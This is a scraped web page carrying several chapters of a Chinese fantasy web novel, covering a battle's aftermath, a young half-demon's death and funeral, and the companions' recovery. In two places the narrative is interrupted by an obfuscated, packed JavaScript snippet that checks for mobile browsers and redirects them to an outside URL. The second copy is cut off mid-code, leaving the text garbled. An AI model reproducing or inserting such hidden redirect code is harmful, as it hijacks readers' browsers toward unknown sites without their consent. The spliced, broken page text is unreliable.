这个方向是......秉唯! 他的表情骤然变得凶狠,褚闲脱离他的脚下,速度快到只剩残影,先主人一步,凶悍的拦在了他的身前。 影玖立马反应过来,飞快遁走,云修泽紧追不休。 他恨声喊道。 “云修泽!你还要在这里耗吗?为了你,我调了十位赤影长老,你的那些队友,我难道会没有准备吗?!每人五个!你猜猜他们此时是死是活啊!!!” 云修泽心中忍不住一颤,秉唯的死状不受控制的浮现在他的眼前,让他立马有了回到他们身边的冲动,但还是被他很好的按捺了下来。 褚闲划过一圈,自己回到了主人手上,云修泽换手挽了个剑花,拦在他的身前,对撞一刻,又被冲的分开。 影玖喘着粗气,嗤笑道。 “怎么?你要为了这些不相干的人放弃你的队友吗?” 云修泽居高临下,看着他的眼神中尽是漠然,缓缓说道。 “大义当前,万般皆后。” 他愿意相信,即使他不在,他的同伴们也能为他守好后方,保护好自己。 影玖看着他冷淡的目光,感到一阵心悸的同时也感到了一种荒诞。 在雾面影族有一种说法,第一个看清你的脸的对手,也将亲手取下你的头颅。 而他本来对此不屑一顾。 他的妖力早已见底,黑雾下遮掩的娃娃脸显露出来,也许是他此时的目光太过直白,让云修泽的剑锋低了一寸。 “在佘渊待的不好吗?为什么一定要回来?” 影玖因为他的问题感到一阵好笑,摇了摇头。 “被强行圈在一个地方,纵使地域如何辽阔,又如何能够甘心?” 他转头看向森阳城的方向。 “更何况,我在这里生活了几百年,不过是一次外出,得知消息赶回来时,这里就已经彻底易主,你叫我如何甘心?” 他的目光凶狠,却流露出了一丝眷恋,云修泽定定的看着他。 “雾面影族大势已去,束手就擒吧。” 影玖闻言将目光移到战场上的同族身上,他们想要回家的心并不比他少上半分,即使知道已经没有希望,但是仍在挣扎,也许对他们来说,存活与否,已经不再重要。 他拿出了云修泽的匕首,缓缓抵上了自己的眉心,在云修泽诧异的目光中,轻轻划出一道血线,鲜血顺流而下,在他的下巴凝成一滴血珠,手伸过去,托住了从那条血线中浮出的妖丹。 随着妖丹的出现,他的脸色骤然变得苍白,他低头凝神看了看自己浮在掌心的妖丹,缓缓伸手,妖丹就顺着飞到了云修泽的面前。 “也罢,这次我不想再离开了,云修泽,你我兄弟一场,妖丹,就替我好好的安置在这里吧。” 他的声音轻如飞絮,身体随之溃散,说到最后几乎已经没了声音,彻底消散之前,脸上就只剩下了那抹疲惫的眷恋。 云修泽看着他的身体彻底消失,心中一时间也说不出究竟是什么样的感受,顿了许久,才缓缓将身前的那枚流转着斑斓色彩的黑色妖丹握在了 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灵儿重新冷静下来,姿态端庄冰冷,好像刚刚那个显得有些疯狂的狐狸不是自己,事已至此,雾面影族这个眷恋故地,眷恋到甘愿成为出头鸟的傻子也已经失败,没有什么好瞒的了。 妖族一直策划着出逃反抗,然而研究了许多年佘渊的结界也没有找到合适的办法破除,于是转而开始想办法隐瞒它。 他们试过很多办法,最终才从误入佘渊的一个修士身上发现了可用的法阵,他们为此设置了一个祭台,也抓来无数小妖试错。 他们不能同时离开结界,大量的妖气会被瞬间察觉,所以大量试验的重点就放在了妖气模拟之上。 他们开始强行向他们的妖丹中灌输巨大的妖力,但无一例外,最终全都爆体而亡,于是他们只能一点一点的试探,将灌输的妖力层层叠加,在秉唯之前,他们已经有过最接近成功的例子,但还不够。 秉唯的出现,一下子让其他三族的目光放在了他的身上。 一个血脉融合的如此之好的半妖之体,瞬间就让他们想到了闻潺。 如果是他,也许能够试到他们想要的程度。 在云修泽他们到来之前,灵儿本就对他可有可无,于是默认了这场试验,在他被抓回白女狐族严刑拷打时,试验就已经无声无息的开始。 后来灵儿有了一丝后悔,但是如此庞大的妖力灌输下去,只要他能撑过去,就相当于一步登天,至少能比普通的妖族少修行几百年,他不会察觉到这场试验,而且会成为白女狐族强有力的中流砥柱,何乐而不为呢? 后来,他果然成功了,他携带着如此庞大的妖气,通过祭台,顺利的去到了佘渊之外,没有惊动结界分毫。 不管是出于真心还是假意,灵儿开始为他谋划。 下在盒子上的追踪术,刻意保存的能够让云修泽他们察觉到的疑点,鬼市奇怪的妖丹,就连他自己,进步飞速的情况下,肯定也能让他们察觉到不对。 也许......他自己撑不下去的话,他们还能帮他一把,可为什么…他们偏偏来了这里呢? 云修泽静静的听完,心中只觉得悲凉。 灵儿明明知道,如果他们真的察觉到了不对,就一定会怀疑到妖族身上,到时只要通知几大巨头门派,妖族的计划就会半路夭折。 她明明知道,但还是这么干了。 这件事情她是元凶之一,是出于族长对族群的责任,是出于妖族对自由的渴望,那这份纠结,又掺杂了几分姐姐的不忍和祈求呢? 看着秉唯小小的身体,灵儿缓缓伸出了手,她的脸上似乎融上了一层阴霾,在雨中显得很是疲倦。 “给我吧,我带他回家。” 云修泽躲开她的手,转身抱着他缓步离开,声音在雨幕中沉沉的砸在灵儿的心头,让她的眼眶泛酸。 “不......那里不是他的家。” 咔哒—— 云修泽脚步一顿,回头看到灵儿将一盏已经熄灭的灯放到了地上。 “这是......秉唯的命灯,你带走吧,可以帮他的身体化为妖丹......” 她后退两步,听上去有些哽咽,最后看了一眼秉唯,才转身消失在了雨中。 云修泽目送她离开,将那盏灯收到了玉佩中,轻声对着怀中的秉唯说道。 “走吧,我带你回去。” 褚闲适时的飞到他的脚边,云修泽露出点儿轻微的笑意,带着他踏了上去。 他们飞越了整个战场,再次赶回城门时,见到的场景却让云修泽险些踉跄,直接从剑上落下去。 天盛微和云修云的身影已经消失不见,城墙之上,徐城主和幼宁也无影无踪。 唐思月离开了城墙,浑身是血的被已经失去意识的行愿护在怀中。 行愿垂首跪在那里,一只手紧紧抱着不知生死的唐思月,另一只手则紧握着刀柄,刀深深地插进土里,刀身上被他的鲜血浸满,明晃晃的映出了什么字。 他的刀鞘上没有赋名,没想到却是刻在了刀身之上。 景湛——这是一柄以身殉主的长刀。 80. 曲衣二十一 属于雾面影的痕迹彻底在天空褪去,赛摩族也不再召唤风雷雨怒,只有薄纱的细雨成了这昏天暗日最后的余韵。 本来的天色显露出来,原是个冬日里少见的耀日,与轻柔的雨合在一起,笼罩着或喜或哀的子民。 褚闲在接近地面时,云修泽就抱着秉唯直接跳了下去,三步并作两步跑起来,嘴里不断念叨着不要出事,显而易见的恐慌。 以行愿和唐思月为中心,方圆一里内全部被清空,只有还未消散的妖丹落在土里。 丹毒使用的痕迹、刀剑的痕迹、琴音的痕迹全都斑驳交错,让这片静默的战场看上去更像是已经被时间遗忘的孤冢,而其中的人早已没了声息。 这样的错觉让云修泽的神经更加紧绷,瞳孔不明显的震颤着,扼住了他的呼吸。 到了他们身边,云修泽甚至不敢立刻伸手去探他们的情况,生怕残忍的宣判下一刻就会来临,四肢发冷,他咬牙逼迫自己面对,呼吸被高高提起,片刻后才如蒙大赦般狼狈的喘息起来。 万幸......万幸......他们都还活着...... 云修泽从玉佩中拿出大氅盖到秉唯的头上,遮住了他的狐狸耳朵和尾巴,准备先将他送上城墙,再回来将行愿和唐思月带回去。 想到不见人影的天盛微和云修云,云修泽只恨不得自己也能像白女狐一样有几个分身,纵使他多方牵挂,也能从容一些,现下只能强行按捺心中的焦急,一件件的安顿。 咔哒—— 褚闲自己转了一圈后回到了剑鞘中,它的动静引起了云修泽的注意,不由自主向它飞来的方向看了一眼,却惊喜的发现了天盛微和云修云的身影。 天盛微看上去伤的不重,撑着云修云一起站在深流上,云修云要惨上许多,额头破了,血流的满脸都是,很是骇人,腿上似乎也有伤,踩着剑也不敢用力,但好在两人都是清醒的,让云修泽始终沉郁的心情减缓了不少。 “思月!!!行大哥!!!” 看到他们,云修云顿时瞪大了眼睛,不可置信的喊道,动作间险些落剑。 天盛微也皱起了眉头,眼神透露出焦灼,一边控制着深流加快速度,一边还要扶好乱动的云修云,避免他伤上加伤。 她注意到了云修泽手中始终抱着的大氅,一种不好的预感涌上她的心头。 “这是怎么回事?” 两人落下,云修云拖着伤腿摔了一跤,又爬起来到了唐思月和行愿的身边,发现他们还活着后才眼眶一红,忍不住扭头抹了把眼睛。 天盛微早在云修泽的情态上就猜出他们并无性命之忧,但此刻得了云修云的证实,也还是忍不住松了口气。 “我不知道,我也是刚刚回来,你们两个怎么回事?到底发生了什么?” 云修泽问着,抱着大氅上的手收紧,悲痛骤然升起,没敢去看天盛微的眼睛。 他自以为伪装的很好,但声音其实已经微微发抖,天盛微沉默了片刻,说。 “我看到了影玖,去追后才发现是幻象,有五个千年赤影伏击,灵儿出现帮了我,然后就离开了。” 雾面影可没有什么分身的能力,应该是白女狐所为,灵儿帮她是意料之中,怪不得没能在秉唯出事的第一时间赶过来。 云修云的眼睛还红着,原本只流了半边的血,被他抹的满脸都是,声音仍然有些哽咽。 “盛微姐离开后,突然出现了十五个红色的雾面影,我与行大哥还有思月力有不及,幼宁在城墙上搞来了许多铜镜,倒是帮了很大的忙,只是这里的结界承受不住他们十五个一起攻击,所以我就想要引开一部分,没想到只有五个跟了上来,但他们也很强,最后幸好盛微姐找到帮了我。” 云修泽听后,有些出神的想起影玖的话,半晌才点了点头。 “我知道了,先将行大哥和思月分开吧,喂点伤药再带回去。” “好!” 云修云抽了抽鼻子,撇着嘴一脸心疼的想要将两人分开,却发现行愿抱着唐思月的手根本掰不动,他又不敢使太大的力气,最后天盛微也上前帮忙,只有云修泽始终跪坐在那里。 刚刚他是想给行愿和唐思月喂点药的,但他们的姿势实在是让他无从下手,没想到竟然上手分也分不开。 五人中,行愿应该是伤的最重的,几乎成了个血人,唐思月身上的血大部分都是他的,见他昏过去也固执的守着唐思月,守着城门,云修泽心中很不是滋味。 “行大哥,我是修泽,可以了,我们赢了,你不用再撑了。” 见行愿似乎有点反应,云修云也连忙念道。 “我是修云啊行大哥,我们回来了!打赢了!你放开思月,我们带你们回去疗伤!” 对着一个已经昏迷的人说话,在旁人看来恐怕就与得了失心疯无异,但几人谁都没有在乎,最后连天盛微都凑上去轻声安抚。 “行大哥,我是盛微。” 三人的声音交替起伏,不厌其烦的一遍遍说着,直到景湛的刀身砸在地上,发出了沉重的哐当声响。 云修云架住行愿,天盛微接过了唐思月,小心翼翼的避开了他们身上的伤口,拿出伤药喂了下去。 等他们的呼吸都平稳下来,几人才纷纷松了口气,他们每个人都很狼狈,但温暖的光照在身上,纵使细雨绵绵也觉得温柔,云修云每个人都看了看,觉出一点儿劫后余生的庆幸来,但是...... “秉唯呢?大哥,你不是去救他了吗?” 云修泽抱着大氅的手一抖,躲闪般低下了头,嘴唇被主人咬出了血,声音微微颤抖。 “我......” 他这副表现让云修云心中忍不住咯噔了一下,还没等他开口询问,天盛微就直接上手扯开了他怀中的大氅,顿时,一张苍白的没有一丝血色的小脸就露了出来。 “秉唯......” 云修云愕然念道,他看到了云修泽怀中的东西,但也只以为是拿出来准备披到谁身上的衣物,根本未曾想过那团团之下还包裹着不知所踪的秉唯。 天盛微抓着大氅的手僵在半空中,指尖攥的越来越紧,猜测成真只让她如遭雷击。 秉唯的身体没有一丝起伏,半长的头发雪白雪白的,耳朵立着,她摸上去却再也感受不到温热,只有冷雨的潮湿。 “为什么......?” 究竟怎么了?明明走前还好好的......她是不是就不该答应让他出来? 天盛微感到浑身发冷,靠近了些,和云修泽一起将他围在中间,一遍遍用手指摩挲着他的眼角。 云修泽看着她,骤然落下泪来,无助和痛苦再也无法掩藏,声音断断续续,不成调子的说着都是他的错。 云修云从小到大,第一次见到云修泽悔恨哭泣的模样,震惊之余又心中酸涩,刚刚止住的眼泪扑簌扑簌又跟着落下来。 云修泽说着自己离开后的事,却总是前言不搭后语,但终归是能让天盛微和云修云明白他的意思。 “这不是你的错。” 天盛微拭去云修泽脸侧冰凉的泪珠,她明明没有哭,可云修泽望着她,却觉得泪早已落了下来。 耳边传来赛摩族清晰的歌声,他们嗓音低哑,用他们听不懂的语言唱着,曲调充斥着神秘、圣洁与哀恸,宛若佛陀慈悲净化人的心灵,又有着大漠的广阔、无拘无束的原野。 云修泽有些茫然的抬头,发现有还未撤离战场的战士听到后直接痛哭着跪了下来,嘴里不断念叨着往生极乐。 在这个歌声下,战场之上居然真的隐隐约约聚起了什么,十分接近修士神识的感觉。 它们缓缓消散,整片焦黑的战场的气场为之一清,歌声渐轻渐缓,直到彻底消失,众人心中都有了一种豁然悲悯之感,就连云修泽几人心中的悲痛都被扫轻了几分。 云修泽明悟到,这恐怕就是赛摩族的往生曲。 他抱着一点儿说不清道不明的希望低头去看秉唯,发现他没有一丝变化时,才低落的想到果然如此。 天盛微抚摸着秉唯的额头,突然开口,轻声唱起了刚刚那首往生曲。 云修泽和云修云兄弟二人的目光落在她的身上,静静的听她吟唱,五个人并一只半妖,安静的举行着只属于他们的丧礼。 听过一遍而已,天盛微居然就完整记了下来,她唱的轻缓又温柔,看到云修泽拿出了秉唯的命灯放在他身上,灵力灌进去,就泛起斑驳破碎的光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338405|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秉唯的身体逐渐虚化,云修泽不由自主伸手想要挽留,却一把捞了个空。 很快他就化为了一颗纯白无瑕的妖丹,落在又厚又软的大氅上,光照上去,还能看到许多其他漂亮的色彩。 天盛微又想起了初见时他的眼睛,为他取名时他的欢欣,哼唱着就忍不住红了眼眶,那种纯粹的执着留在她的心底,她用往生的歌曲送他最后一程。 * 幼宁醒来时只觉得头痛欲裂,捂着脑袋坐起来,就看到第七洲几个人又蹲又站的围在他的身边,不禁有些狐疑。 “我怎么了?你们干嘛?” 他的思维还有些迟钝,一时间没能想起来究竟是怎么回事,直到看见天盛微怀中昏过去的唐思月,才骤然清醒过来。 “她怎么样?战事呢?” 云修泽将他拉起来。 “思月没事,战事也已经结束了,我们赢了,不过你得告诉我们,你们是怎么回事?” 他们还在城墙上,云修泽示意幼宁看向一旁,徐城主手中握着铁剑,还不省人事的躺在那里。 听到获胜的消息,幼宁松了一口气,最大的石头落下,才揉着脑袋不紧不慢的讲起事情的原委来。 千年的赤影明显是最难对付的,纵使云修云引走了五个,剩下的对他们来说仍然是难以跨越的鸿沟。 如此下去,城门被攻破也只是时间问题,幼宁明白不能坐以待毙,他已经让徐城主搜罗来了城中大些的铜镜,折射的光对他们有一定的威胁,便想着要再找些什么法子来对付他们。 他和徐城主在结界之内,按理来说是很安全的,但徐城主不知道为什么突然开始发疯,拿着一把铁剑就要抹自己的脖子。 幼宁手急眼快将他拉住,唐思月出手将他打晕,还没等他细想是怎么回事,就恍惚了一下,似乎看见了一双淡金色的眼睛,脑中骤然变得混沌一片。 神志不清之间,他模糊的看到唐思月在自己面前被什么人抓走,于是一边喊着唐姑娘一边向前追去,可他面前是城墙,不是平坦的大路,只追了两步就撞上了边墙,整个上身都探了出去,即将掉下去摔死的那一刻才陡然醒来。 一切都发生的很快,唐思月当机立断拉住了他,一把将他拽回了城墙内,自己却为了救他掉了下去,他慌忙探身去看,却发现她的面色没有一丝动容,像是早有预料他会探出头来一样,直接拨弦将他震晕了过去,后来的事,他也不得而知。 云修泽默默不语,在几人的话语中,拼凑出了整个事情的经过。 灵儿不便现身,将天盛微引开后才出手帮她解决了一部分赤影长老。 幼宁拿出铜镜,云修云引走敌人。 徐城主和幼宁处在城墙之上,在结界的保护范围内,妖族无法突破伤害他们,便由白女狐出手让他们陷入了幻境,引他们自己动手或者离开结界的保护范围。 唐思月坠落,行愿一定将她接住,两人深陷鏖战,恐怕唐思月的灵力耗尽后还拿出了不少毒药阻止了雾面影的近身。 秉唯已经化作了一枚华而不实的妖丹,徒有完整的外壳,内里却只有一丝残破的无法修补的魂魄。 云修泽三人在下面整理好了心情,才将妖丹收了起来,带上行愿和唐思月回到了城墙之上。 见幼宁和徐城主全都昏倒在地,将幼宁唤醒后,云修泽才基本得出现在的结果,不由得心中后怕。 总觉得但凡有什么地方差了一步,他们五个人恐怕就再也聚不到一起。 徐城主在这时悠悠醒来,与幼宁一般无二的捂着脑袋,看起来头疼的厉害,一睁眼就看到四双眼睛齐齐的看着他,不由得迟疑起来。 他想问什么,却突然想起了正事,唰的一下站起身,控制不住踉跄了几步,但还是摇摇欲坠的扒到了城墙边,低头一看,就在一片焦土之中与伤重的列七锋对上了视线,见他似乎是松了一口气,就在一群战士的大呼小叫下突然晕了过去。 “......我们赢了?” 他有些不敢置信的喃喃说道。 “我们赢了。” 云修泽看着城墙之外。 “虽然付出了惨痛的代价,但是我们赢了。” 我们赢了。 81. 曲衣二十二 徐城主既然醒来,那便由他来主持善后,云修泽几人身上或轻或重的都带着伤,已无心在这里多做停留。 幼宁是要留在这里的,但是看了看他们几个的惨状,让他们稍等片刻,随即就去扎堆儿的人里扒拉出了一个军医,让他跟着他们回去。 往日他们受个什么伤,都是唐思月在照料,现在她昏迷不醒,他们倒也忘了去另找个医师,幼宁替他们考虑的周全,云修泽领情道谢。 他们带着军医回了客栈,帮忙的那二十余修士一个没少也在此处,客栈已经暂停了揽客,将一楼留给他们休息包扎。 看到云修泽他们走进来,喧闹的声音顿时停了下来,没有说什么,但是全都状似谦卑的低了低头。 大战中,受伤最重、压力最大的永远是最前方的人,他们承担的已经远超众人,大比魁首的名号让他们敬佩,此战过后,更多的就是敬重。 云修泽打眼看过,其中有为他送过灵力的修士,看到他们安然无恙,就微微点头以做回应,随即就上楼回了房间。 有点累了,现在只想赶紧疗完伤,安静的休息。 唐思月没有大碍,内伤不重,外伤也只是看着吓人,昏过去应该只是受了太大的冲击,身体承受不住而已。 看她静静的躺在那里,云修泽想起了在世叔家她决定要跟他们一起上路的时候,那时候他心里想,他既然把她拖上这条路,就要保护好她,可见她此时气息虚弱的躺在这里,只感到了一阵无力。 行愿的内伤很重,恐怕得养上一段时日,他本善于伏击暗杀,这次强行让他正面攻守,对他来说也是不容易。 军医询问是否能掀掉他的面具,想仔细查看一下他的面色眼睛。 云修泽看着这张面具上已经干枯的血迹,沉默了半晌,还是摇头拒绝了军医的要求。 该诊断上药的伤已经弄得差不多了,至于面具…...云修泽想,还是该让他自己来决定到底要不要摘。 还醒着的三个人伤重程度都差不多,云修泽本身是伤的最重的,可是褚闲醒来,带来的灵力为他修补了不少,反倒成了伤最轻的人。 之后的日子里,天盛微守着唐思月,云修泽就去守行愿,云修云原本也想跟着一起,却被两人联手赶去了休息。 该安排的事情已经安排完,三人聚在一起时,就问起了云修泽在战场上的事。 当时他那边闹的动静很大,红云铺满天空,连他们这边都笼罩了进去,他们有心去帮忙,但自己也是自顾不暇。 听到褚闲生了剑灵,云修云有点儿犯傻的以为它从此能说话了,拿着剑问了半天它为什么不理自己。 云修泽和天盛微心知肚明,也不戳破,神情放松的看他自顾自的玩儿的好一阵子。 幼宁来时,正见他对着一把剑犯傻,忍不住挑眉嘲笑了两句,云修云这才知道剑灵根本不会说话,偏偏这时,刚刚一点儿动静都没有的褚闲自顾自的抖起来,就像是恶作剧得逞的嘲笑,弄得云修云又羞又气,直接成了个大红脸。 “唐姑娘和行大哥怎么样了?” 幼宁坐下来给自己倒了杯茶,见他们的杯子半空,又自然而然的给他们续茶。 云修泽双手放在茶杯附近,说道。 “没有性命之忧,等他们醒来后再调养休息就是。” 到时候若是唐思月有这个精力,还是由她来调配药物,为他们把脉看伤,一是她最熟悉几人的身体状况,二是总归比外人来的放心。 “是该好好养伤,这次你们可是最大的功臣,徐城主现在还在忙,托我给你们带话,说在城中准备了一处适合养伤的宅子,让你们过去安心住着,吃穿住行皆由森阳包揽。” 云修泽看向天盛微,见她点头后便应了下来。 “那就多谢徐城主好意,住在客栈终归是不方便。” 幼宁垂眸笑了笑,他身后不远处正是一副窗子,天象冷白,飘起了细雪。 “剩下的雾面影呢?我们走的匆忙,不知他们会被如何处置?” 云修泽看着窗外,安静的问道。 幼宁似乎感到了一丝寒冷,双手紧紧的捧着茶杯。 “巧了,正想与你们说这个。” 他轻酌一口热茶,舒服的眯了眯眼。 “我与符康将军来到森阳关后,发现的确是妖物作祟,便上报给了陛下,陛下修书一封送到了康平,请他们施以援手,虽没有赶上大战爆发,但现下已经接手了剩下的雾面影,不日将会遣送他们回到佘渊。” 计都是人族皇城,不会有修士门派选址在那里,那无疑就是挑战皇权,那么离森阳关最近的便是康平的净安寺了,向他们求援是最高效的一种做法。 看来皇帝和净安寺的关系不错,每年去烧香拜佛不说,这种事,他们竟然连派人探查都没有就直接调了大量的人过来,就是不知,是单单这一个门派巨头,还是与昆天谷等皆有联系...... 云修泽想着想着就出了神,轻转着茶杯,将正与他说话的幼宁撂到了一边,见他神情无奈,云修云小声告诉他,这表明云修泽对他有一定程度的信任。 幼宁看起来很想翻个白眼,但还是忍住了这个冲动,看到天盛微对他点头微表歉意,才正色的表示无妨。 “什么无妨?” 云修泽刚回过神就听见这一句,正待追问,客栈的门便从外面被人推了开来。 风从门口灌进来,落雪也欢呼雀跃的被它一同带着。 两个带着斗笠的人一前一后的进来,仔细的关上门,抖了抖身上的雪,一抬眼,见到他们,就笑起来。 “施主,好久不见。” 云修泽几人站起身迎了上去。 “悟真师傅,好久不见,早知是你来,我们该先行拜访才是。” 悟真当时带着众位师弟参加了大比,回去的路上捡到了重伤的云修泽,救了他一命,云修泽离开净安山时也没能见上他们一面,没想到这次被派来的竟是他。 “其他几位师傅呢?可是都来了?” 他们换了张大些的桌子,悟真摘下斗笠,又拿过师弟的斗笠一起磕了磕雪,放到了一旁。 “恐怕要让云施主失望了,这次只有贫僧一人,听说施主在这里,特地来拜访一下,多有叨扰,还望见谅。” “哪里的话,我高兴还来不及。” 云修泽亲自为他们倒茶,与悟真一起的,竟然是天盛微正巧见过的弥生,与他打过招呼后,便问道。 “迦引师傅这次可来了吗?” 悟真摇摇头。 “迦引师叔如无意外,轻易不会离开净安山。” 天盛微点点头,没有追问。 “他身体可还康泰?” “一切都好。” 悟真看着云修泽,发现从白界到现在,短短不过几月的时间,他就几乎发生了翻天覆地的变化,周身的气场沉淀了下来,眉间却笼罩上了一层化不开的阴郁,他忽然叹了口气。 “云施主,两次相见,你都有伤在身,纵使年轻气盛,也要爱护自身才是。” 云修泽莞尔一笑。 “我也知晓,只是情况紧急,万万人的性命悬在弦上,总要有人站出来,我愿意做那个人。” 才怪,真实的情况是迫不得已。 他这个人本就不愿参与麻烦事,躲得越远越好,但经此一战,又突然有点讨厌起自己的这种性格,既然已经决定要追逐镜双子,必然就要有事事为先的勇气。 若他本就如此,经历的事多了,也许会比现在强上许多,也许此战就不会狼狈至此...... 他闭了闭眼,再抬眼时,脸上就已经重新挂起了笑容。 “这次净安寺来了多少人?剩下的雾面影应该也不算太少,听说你们要将他们送回佘渊,人手可够吗?” “施主不必担忧,人手是够的,数量如此之多的妖族悄无声息的离开佘渊,是件很严重的事情,我们已经告知了昆天谷等,届时一同查明原因,加固结界。” 说起这个,他的表情也严肃了起来。 “此次之事,绝不可能是雾面影一族之力,听闻其他各地也有妖族频出,只是还未像这里一样出现如此大的变故,接下来一段日子,各大门派恐怕就要有的忙了,几位施主可对这件事情有什么头绪吗?” 云修泽想到灵儿,想到影玖,想到秉唯,又想到祭台,最终还是缄默未言,此事他们自己想来也能查清,他不想是出自他口,便当做不知道吧。 “此事恐怕还是需要你们查清,之后若是实在没有线索可以再联系我们,我们会帮忙一起找找。” 悟真不疑有他。 “如此也好。” “客官!” 店小二匆匆忙忙跑来。 “您戴面具的那个朋友醒了!” 云修泽几人齐刷刷的站起身,正待离开,又突然想起了悟真和幼宁他们。 “悟真师傅,今日不巧,恐怕没办法好好招待你们,改日我定登门拜访。” “阿弥陀佛。” 悟真竖起单掌低了低头。 “几位施主快去吧,我们便不打扰了。” “慢走。” 云修泽瞥向幼宁,还没开口,幼宁就说道。 “我跟你们一起去看看。” 也不是不行,云修泽三人快步向楼上走去,默认了他跟上来的举动。 云修泽本以为行愿醒来应该还在房中,但谁知几人从走廊中就见到了他。 他沾血的面具还戴着,捂着伤口扶墙慢慢挪动,没有发出一点声音,不熟悉他的人恐怕第一反应都是会被吓到,也不怪那小二慌了神。 “行大哥!” 几人快步围上去,云修云叽叽喳喳的喊着,绕过他的胳膊把他架了起来。 “行大哥你刚醒,不好好在床上躺着,跑出来做什么。” 行愿抬眼将他们看过,哑声道。 “小姐呢?” 云修泽皱眉,有些心疼也有些无奈。 “思月没事,反倒是你,你伤的最重。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343938|177559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “她在哪儿?” 云修泽无法,只能说道。 “我们带你去看看她,但是思月体质弱,虽伤的不重但是仍在昏迷,你不要忧思过甚。” 见他点头,云修泽叹气,和云修云一起扶着他挪动。 幼宁站在稍远一些的地方,对他们的关系又有了新的揣摩,直到云修云回头喊他跟上,才回过神跟了上去。 天盛微推开房门,屋中的竹帘没有拉开,白日里也显得宛如入夜时分。 绕过屏扇,却惊讶的发现唐思月已经醒来。 她坐在床榻上还未起身,长发柔柔的铺在肩骨背脊和薄被之上,他们只能看到她的背影,脸隐在黑暗中,静悄悄的,将周围衬得好像成了一个静止的空间。 “思月......” 云修云愣愣的看着她。 唐思月面无表情的回过头,眼神十分冷漠,在黑暗的环境下被衬得阴鸷非常。 许是刚刚醒来还未缓神,见是他们,才在刹那间如春日融冰般柔和了眉眼,虽然只是极短的一瞬,但却给了人一种与往日气质截然不同的错觉,叫几人都怔了一下,只有云修云像是什么都没察觉到一样扑到了她的床边。 “我睡了多久?战况如何?” 唐思月一边揉着云修云的头,一边语气轻缓的问道。 行愿固执的要来看她,但亲眼看到后却像是了却了心事一般,没有如何嘘寒问暖,只站在了一旁,重新做起了隐形人。 “你睡了三日了,我们赢了。” 云修泽走近,摸了摸她的头。 “怎么样?还好吗?” 唐思月不自然的笑了笑,病若西子犹胜三分。 “我没什么大碍。” 她看到站在不远处的幼宁,对他招了招手。 “过来,让我看看你。” 幼宁当日在情急之下被她震晕,下手虽然掂量了力道,但还是不能全然放下心来。 幼宁早就被她未戴面纱的美惊了个七荤八素,此时听她要自己上前去,下意识就在云修云幽幽的目光中乖乖挪了步子,意识到自己根本没过脑子就如此听话的时候,表情还忍不住变得有些奇怪。 唐思月的手搭在他的手腕上,一边把脉一边头也不抬的说。 “行愿,将面具换了。” 本以为他会回房间去换,或者干脆将脸露出来,可众人刚一转头,就发现新的面具已经安安稳稳戴在了他的脸上,被换下来的那张带血的甚至还在手上,没来得及收回去。 这手速也太快了吧...... 众人不约而同,心中腹诽。 那边唐思月的神色逐渐凝重,她没想到幼宁的身体竟然是这样。 “可以说吗?” 她低声征求着幼宁的意见,幼宁倒是没什么所谓,此刻说不说的,之后他们关起门来定然还会说起,何须费力气再走这个过程,于是随意的点了点头。 “他怎么了?” 云修云是这几人中与幼宁相识最长的人,虽总将他看作潜在的情敌,但真发生了什么事的时候,又忍不住第一个关心。 “幼宁没什么事,只是他相较于常人来说,身体还要更差劲一些。” 唐思月的指节抵在嘴唇上,思索着说道。 “他通身的经脉奇窄,虽说能跑能跳,算不上体质孱弱,但莫说修士的灵力,就连普通人习武所得的一点内劲都无法在其中流通。” 她微微蹙眉,神色担忧,似乎是感到可惜。 “这种体质是天生的,我暂时想不出法子改善,但天下能人异士众多,说不准有知道的,你母亲可为你找人看过吗?” 幼宁习以为常的扣上了护腕。 “看过,但都没什么用,唐姑娘不必费心,我早已习惯了,左右不过出门多带两个人。” 见众人不语,幼宁挑眉笑起来,漂亮的少年很是洒脱。 “好了,我就是来看望一下,既然大家都没事,我就不打扰你们了,改日再聊。” 说完,他就摆摆手离开了这里,出去时还贴心的带上了门。 唐思月目送他离开,然后将屋内四人看过一遍,发现他们就像是出去在泥潭里打了个滚儿,回来还自以为清理的很干净,但实际上各有各的潦草,不由心中暗叹,生出了一种身为孩儿娘的无奈感。 “都过来,让我挨个看看。” 她念叨着就是将他们惯坏了,明明没遇到之前还能将自己照顾的好好的,遇到后反倒依赖起她来,虽然说着,但手上把脉取药的动作也一刻没停。 竹帘已经被拉开,雪容的冷光扑进来,以强硬的姿态将暗室照亮。 药香逐渐在几人之中弥漫开来,因为要上药,所以除了天盛微和唐思月,剩下的三个多少都有点袒胸露背,但他们拿着缠伤的麻布互相帮忙,还或调侃或斗嘴的说着话,倒没有一丝不自在。 屋中很是热闹,将他们来之前凝滞般的寂静驱散的无影无踪。 战事已经结束,他们还是他们。 82. 曲衣二十三 “秉唯呢?出去玩了?还是受了伤起不来身?我去给他看看?” 唐思月将他们几个看过后就问起了秉唯的去向,下意识的,就没有想过太糟的结果,可谁知一问过后,屋中却沉默了下去。 “他在这里。” 天盛微轻轻托起腰间佩的一枚香球,雕刻精致的镂空香球内,装着一枚有着温润光泽的白色妖丹。 那十个赤影长老的妖丹已经被云修泽当着秉唯尸身的面全部毁去,本想将他的妖丹好好收起来,天盛微却顾念他总心心念念要看外面的世界,找了一个特制的香球将他放了进去,佩在腰间,从此,她见到的,也将会是他能看到的。 “这是......什么?” 